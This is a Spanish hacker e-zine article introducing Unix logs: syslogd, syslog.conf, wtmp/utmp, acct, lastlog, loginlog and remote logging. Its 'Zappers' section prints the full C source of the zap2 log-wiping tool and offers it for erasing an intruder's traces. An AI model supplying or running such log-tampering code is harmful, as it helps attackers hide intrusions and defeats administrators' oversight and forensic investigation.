Copy Link
Add to Bookmark
Report
SET 028 0x04
-[ 0x04 ]-------------------------------------------------------------------
-[ Logs en Unix ]-----------------------------------------------------------
-[ blackngel ]------------------------------------------------------SET-28--
@ @
@@@ blackngel_hack@hotmail.com @@@
IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII
IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII
III @@@@ @ @@@@@ @@@@@ @ @ @@ @ @@@@@ @@@@@ @ III
III @ @ @ @ @ @ @ @ @ @ @ @ @ @ III
III @@@@@ @ @@@@@ @ @@@ @ @ @ @ @@@ @@@@ @ III
III @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ III
III @@@@ @@@@@ @ @ @@@@@ @ @ @ @@ @@@@@ @@@@@ @@@@@ III
IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII
IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII
@@@ @@@
@ @
%%%%%%%%%%%%%%%%%%%%%%%%
%%%==================%%%
%%% LOGS EN UNIX %%%
%%%==================%%%
%%%%%%%%%%%%%%%%%%%%%%%%
"Bienvenidos al mundo de lo real..."
¬@@@@@@@@@@@@@@@
#%***%%%%%%%%%%@
#%*1*%-INDICE-%@
#%***%%%%%%%%%%@
¬@@@@@@@@@@@@@@@
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
(@ Indice | TEMA: @)
++++++++++++++++++++++++++++++
++++++++++++++++++++++++++++++
| 1 | Indice |
#------------------------------#
| 2 | Prologo |
#------------------------------#
| 3 | Introduccion |
#------------------------------#
| 4 | Demonio "syslogd" |
| 5 | Logs Habituales |
| 6 | Logs Remotos |
#------------------------------#
| 7 | Zappers |
| 8 | Otros |
#------------------------------#
| 9 | Despedida |
|++++++++++++++++++++++++++++++|
¬@@@@@@@@@@@@@@@@
#%***%%%%%%%%%%%@
#%*2*%-PROLOGO-%@
#%***%%%%%%%%%%%@
¬@@@@@@@@@@@@@@@@
Bueno esta vez me he decidido por dar unos conocimientos basicos sobre la
forma que tiene unix en administrar los sucesos que en se realizan, es decir,
como trabaja unix o linux no nos olvidemos, a la hora de grabar todo lo que
cualquier usuario con acceso o sin el esta haciendo en el sistema.
Cabe recordar como siempre que este texto se puede tomar con el punto de tema
hacking o desde el punto de tema seguridad. La verdad es que es lo mismo ya
que tomado de una forma siempre nos valdra para lo contrario.
Por ejemplo, para que lo entendais, se podria decir que si tomais este texto
para saber o aprender como proteger vuestro sistema archivando todo lo que en
el sucede, le podriamos dar la vuelta, pensando en como un administrador esta
protegiendo su sistema y asi tener nosotros mucha mas facilidad de entrar en
el y sin dejar huella.
Bien pensado se supone que este articulo no deberia de ser muy extenso, sino
al contrario, mas bien pequeño, ya que la materia que este tema contiene no
es de gran alcance.
Por eso mismo aprovecho que este articulo no sera muy largo para adentrarme
bastante en cada uno de sus apartados y cuando acabeis este articulo/guia
salgais con una buena base sobre el tema, que en fin, esto es lo que a mi
mas me interesa.
Como no, ahora pondre los sitios donde podreis localizarme y comentarme
vuestras dudas, opiniones, ideas o lo que a vosotros mas os apetezca. En
serio, no me gusta que nadie se quede con dudas por culpa de una tonteria,
me da igual que la duda sea una pequeñez insignificante, cuanto antes la
resuelvas mucho mejor y yo estare dispuesto a ello.
======================================================================
||E-MAIL -->> blackngel_hack@hotmail.com ||
||irc.irc-hispano.org -->> #XDHT, #hackers, #newbies, #hack ||
======================================================================
Bastantes datos creo no? xD. Mal sera que con esta informacion no me encontreis
antes o despues, bueno sin ser que yo este escapando de la policia o de
alguna condena judicial xD. En tal caso no estare disponible.
Ahora si, por fin, os dejo con el tema que hoy nos ocupa a todos, el cual
os he preparado despues de tenerlo yo mas bien que estudiadito.
Bueno y decir tambien que esto no es todo, si de verdad quereis ser unos
casi expertos en seguridad debereis de seguir buscando informacion colgada
por la red y que os pueda servir de ayuda, recuerda que cuanto mas actualizada
mejor, ya que este sistema puede tener siempre cambios en un periodo corto de
tiempo.
Al tema......
¬@@@@@@@@@@@@@@@@@@@@@
#%***%%%%%%%%%%%%%%%%@
#%*3*%-INTRODUCCION-%@
#%***%%%%%%%%%%%%%%%%@
¬@@@@@@@@@@@@@@@@@@@@@
Empezaremos definiendo simplemente lo que es un log.
Un log, no es mas que un simple archivo en el cual se almacena cierta
informacion sobre lo que realiza un usuario en la maquina y los cuales
puede observar y estudiar el root para saber todo lo que esta sucediendo en
su sistema.
Pasemos ahora a analizar las ventajas y desventajas que nos ofrece el sistema
unix/linux con su sistema de logeo:
Ventajas|
--------|
Claramente siempre seran mejores las ventajas en este sistema de logeo que sus
desventajas. Una de ellas es la de poder detectar a un intruso inmediatamente,
o detectar usos sospechosos en el sistema o actos indebidos. Por ello cabe decir
que el logeo es una forma de deteccion y no de prevencion ya que sino miramos
nuestros logs, cualquier cosa puede estar sucediendo en el sistema sin que
nosotros nos demos cuenta.
Desventajas|
-----------|
Se podria decir que hay dos claras desventajas o problemas a la hora de
almacenar toda esta informacion en cierta parte "confidencial".
1.- La gran cantidad de datos o informacion que se almacena en un mismo momento,
puede llegar a dar lugar a buffer overflows "desbordamientos del buffer". Sino
sabeis lo que esto significa descargaros de la red algun manual sobre el tema,
porque yo no estoy aqui hoy mas que para explicar lo que nos ocupa, en este caso
"Logs en Unix".
2.- Bueno, pues es de saber que los logs hay que mirarlos "a ojo de humano",
asi que, tal es la cantidad de informacion y sucesos almacenados en cualquier
log, que muchos detalles importantes se nos pueden pasar por alto sin querer,
pero eso ya es cosa de la actitud del administrador del sistema y la atencion
que a el le preste.
3.- La ultima desventaja de este sistema, es que la colocacion o situacion
de los ficheros logisticos pueden variar en cada sistema operativo y su
forma de logeo tambien puede cambiar. Pero bueno, los ficheros mas comunes
se suelen situar mas o menos en el mismo sitio.
¬@@@@@@@@@@@@@@@@
#%***%%%%%%%%%%%@
#%*4*%-SYSLOGD-%@
#%***%%%%%%%%%%%@
¬@@@@@@@@@@@@@@@@
Este demonio es el encargado de guardar toda la informacion de lo que esta
sucediendo en nuestro sistema, ya sea localmente como remotamente.
"Syslogd" se arranca cada vez que nuestro sistema Unix/Linux se inicia.
Como no, este demonio esta controlado por un fichero de configuracion que
se encuentra en "/etc/syslog.conf". Desde aqui nosotros podemos asignar
nuestras propias reglas de logeamiento y ajustar diferentes paramentros.
Para los que no tengais Unix o Linux os pondre aqui un ejemplo de este
archivo de configuracion para que le echeis un vistazo.
_____________________________________________________________________
blackngel:~# cat /etc/syslog.conf
#ident "@(#)syslog.conf 1.4 01/03/03 SMI" /* Mandrake 8.1 */
#
# syslog configuration file.
#
# This file is processed by m4 so be careful to quote (`') names
# that match m4 reserved words. Also, within ifdef's, arguments
# containing commas must be quoted.
#
*.err;kern.notice;auth.notice /dev/console
*.err;kern.debug;daemon.notice;mail.crit /var/adm/messages
*.alert;kern.err;daemon.err operator
*.alert root
*.emerg *
# if a non-loghost machine chooses to have authentication messages
# sent to the loghost machine, un-comment out the following line:
#auth.notice ifdef(`LOGHOST', /var/log/authlog, @loghost)
6.3. EL DEMONIO SYSLOGD 89
mail.debug ifdef(`LOGHOST', /var/log/syslog, @loghost)
#
# non-loghost machines will use the following lines to cause "user"
# log messages to be logged locally.
#
ifdef(`LOGHOST', ,
user.err /dev/console
user.err /var/adm/messages
user.alert `root, operator'
user.emerg *
)
blackngel:~#
_____________________________________________________________________
Decir que las lineas que se encuentran precedidas por el signo "#" no
seran interpretadas por el demonio sino que se tomaran como simples
comentarios.
Me gustaria mucho explicar como poder configurar todo esto a nuestro
gusto, pero esto no es lo que hoy me trae aqui. La razon es que este
es un articulo de iniciacion para que vayais aprendiendo cositas.
¬@@@@@@@@@@@@@@@@@@@@@@
#%***%%%%%%%%%%%%%%%%%@
#%*5*%-L. HABITUALES-%@
#%***%%%%%%%%%%%%%%%%%@
¬@@@@@@@@@@@@@@@@@@@@@@
-----------
|wtmp/utmp|
-----------
No os equivoqueis son dos logs diferentes, pero como su contenido y finalidad es
muy parecido pues los he puesto juntos.
Estes se encargan de el control de accesos de usuarios, grabando la hora de
acceso, desde donde, cuando, y un largo etc.
Importante: Estes logs generan un archivo binario y no se puede leer con un
simple cat. Para ver su informacion tendremos que hacer uso del comando "last".
Esta informacion esta basada en una estructura, con unos simples conocimientos
del lenguaje C, podremos utilizarla para hacer nuestro propio lector de wtmps o
utmps. (Es muy facil).
------
|Acct|
------
Este log es realmente importante. Se encarga de grabar todos los comandos que
ejecutamos en la maquina, pero no su resultado, "solo" los comandos!!.
Aunque parezca mentira, debido a la seguridad que tienen que tener muchos
sistemas, este log esta muchas veces desactivado por la gran informacion que
guarda y los recursos del sistema que este utiliza. A la gente no le gusta que
se produzcan negaciones de servicio en sus sistemas por falta de recursos.
----------
|messages|
----------
Aunque tambien esta controlado por el demonio anterior, este log esta mas
destinado a dar informacion sobre programas o arranque del sistema, que de
avisar de sucesos importantes.
--------
|syslog|
--------
Es uno de los mas importantes, esta controlado por el demonio syslog,
por ello, la informacion contenida en este dependera de la configuracion
de este demonio.
En el se guarda bastante informacion con respecto a los accesos a diferentes
servicios y cosas del estilo.
---------
|lastlog|
---------
Muy simple, este es otro archivo binario, que contiene la ultima hora
y fecha de acceso de cualquier usuario.
Muchas veces cuando nos conectamos a un sistema en el cual tenemos una shell
nos da la bienvenida diciendonos estos datos, pues igual que lo vemos
nosotros, tambien lo puede ver el root del sistema para saber mas cosas
nuestras.
Suele ser modificado por intrusos para que no se sepa cuando fue la ultima
vez que accedieron al sistema.
----------
|loginlog|
----------
Y ya por ultimo, uno muy importante para mi. Este se encarga de registrar
todos los intentos de login (acceso) fallidos, en caso de que se hayan
realizado cierto numero de intentos seguidos y sin resultados optimos.
Este numero de intentos se puede modificar cambiando el valor de la
entrada 'RETRIES' del archivo /etc/default/login al nº que tu desees.
Cuando el root vea esto puede empezar a mosquearse e ir en nuestra
busqueda, cosa no muy beneficiosa para nosotros.
¬@@@@@@@@@@@@@@@@@@@
#%***%%%%%%%%%%%%%%@
#%*6*%-L. REMOTOS-%@
#%***%%%%%%%%%%%%%%@
¬@@@@@@@@@@@@@@@@@@@
Tampoco hay mucho que decir en este apartado.
Nada mas que si nuestra maquina se puede ver gravemente comprometida por
un ataje ajeno en el que tambien pueden resultar modificados nuestros logs,
pues el demonio "syslogd" nos permite la grandiosa opcion de guardar
nuestros registros de logs en una maquina remota.
Con esto conseguimos, que si nuestra maquina se ve afectada, tendremos
mucha informacion sobre todo lo que ha pasado en una segunda maquina que
en un principio es desconocida por el atacante, la cual le puede llevar
a un mal paradero.
Como ya dije antes, quizas mas adelante explique como se realizan todos
estes procesos.
¬@@@@@@@@@@@@@@@@
#%***%%%%%%%%%%%@
#%*7*%-ZAPPERS-%@
#%*%%%%%%%%%%%%%@
¬@@@@@@@@@@@@@@@@
Esta ultima parte la pongo para los que se hayan tomado este articulo
desde el punto de vista "hacker".
Los zappers, mas conocidos como "limpia huellas", no son mas que simples
programitas que se encargan de borrar toda la informacion de los logs
que pueda comprometer a la caza de cierto usuario, en este caso nosotros
(el atacante).
Estes programas no tienen ninguna ciencia generalmente se ejecutan de
manera simple como cualquier programa en el sistema UNIX con la unica
diferencia de que generalmente tiene que ir acompañado por nuestro nombre
de usuario.
Ej: "./zapper blackngel"
Unos de los mas conocidos hasta el momento y mas utilizados que se encargan
de los logs "utmp y wtmp" son el "zap", "zap2" y el "cloack".
Para que no os vayais de este articulo un poco contentos, os dejo aqui el
codigo fuente del "zap2", para compilarlo supongo que ya sabeis como teneis
que hacer, y sino me mandais un e-mail y os lo explico.
Aqui os dejo con el fuente:
_________________________________________________________________
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
int f;
void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}
void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;
pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {
while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}
void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}
} else printf("%s: ?\n",who);
}
main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\n");
} else
printf("Now...that was as bad as shit!\n");
}
_________________________________________________________________
Dependiendo de la distribucion del SO en la que se este ejecutando
este zaper, tendreis que cambiar los valores de las constantes:
WTMP_NAME, UTMP_NAME y LASTLOG_NAME por sus respectivos directorios,
nada complicado como podreis comprobar.
Por cierto, la verdad, es que la programacion de estas utilidades es
realmente sencilla, por ello decir que si alguien le interesa pero no
sabe exactamente como funcionan, estare encantado de explicarselo
personalmente o incluso si me lo piden hare un articulo dedicado a la
programacion de estas cosas sencillas pero tan utiles para todos
nosotrosl.
Comentar que este zapper tambien se encarga del "lastlog", haciendo asi,
que no se sepa cuando fue vuestra ultima conexion al sistema.
¬@@@@@@@@@@@@@@
#%***%%%%%%%%%@
#%*8*%-OTROS-%@
#%***%%%%%%%%%@
¬@@@@@@@@@@@@@@
Como ultima consideracion decir que este solo es un sistema de proteccion
que tiene que estar minimamente implantado en cualquier Sistema Operativo
"decente".
Por ello, decir que existem muchas mas implementaciones de seguridad que
nos pueden ofrecer nuestros sistemas pero que normalmente sera tarea del
administrador el utilizarlas o no.
Una de ellas es la creacion de backups de la informacion de nuestro
sistema, yo lo considero algo verdaderamente importante si los datos que
el contiene son de una importancia media/alta. Estas copias de seguridad
se pueden guardar tanto en un simple CD-ROM como en las mas nuevas
tecnologias de cintas magneticas de 8mm y 4mm.
Por otro lado tambien tenemos los firewalls (cortafuegos) que nos
proporcionaran muchas mas informacion sobre la entrada a nuestros sitemas
y hacen uso de sus propios logs que nos tendremos que encargar de revisar
adecuadamente.
Y como ultimo metodo y que ahora mismo esta muy de moda son los IDS
(Detectores de Intrusos), que utilizan tecnicas bastante avanzadas y
que tendria un sin fin de ramas por donde ir explicando.
Todos estos son realmente temas muy interesantes y os lo dejo a vosotros
como opcion para investigar... El que quiera llegar a algo lo hara y el
que no...
¬@@@@@@@@@@@@@@@@@@
#%***%%%%%%%%%%%%%@
#%*9*%-DESPEDIDA-%@
#%***%%%%%%%%%%%%%@
¬@@@@@@@@@@@@@@@@@@
Otra vez mas, me despido de nuevo como siempre con la sonrisa en la boca
creyendo que con esto tambien os he hecho aprender algo mas y que mis
conocimientos y estudios por lo menos estan valiendo para algo.
Como ya son muchas mis despedidas, paso de enrollarme y solo deciros como
siempre, que para cualquier duda u opinion me envieis un e-mail a mi
direccion de correo "blackngel_hack@hotmail.com".
*EOF*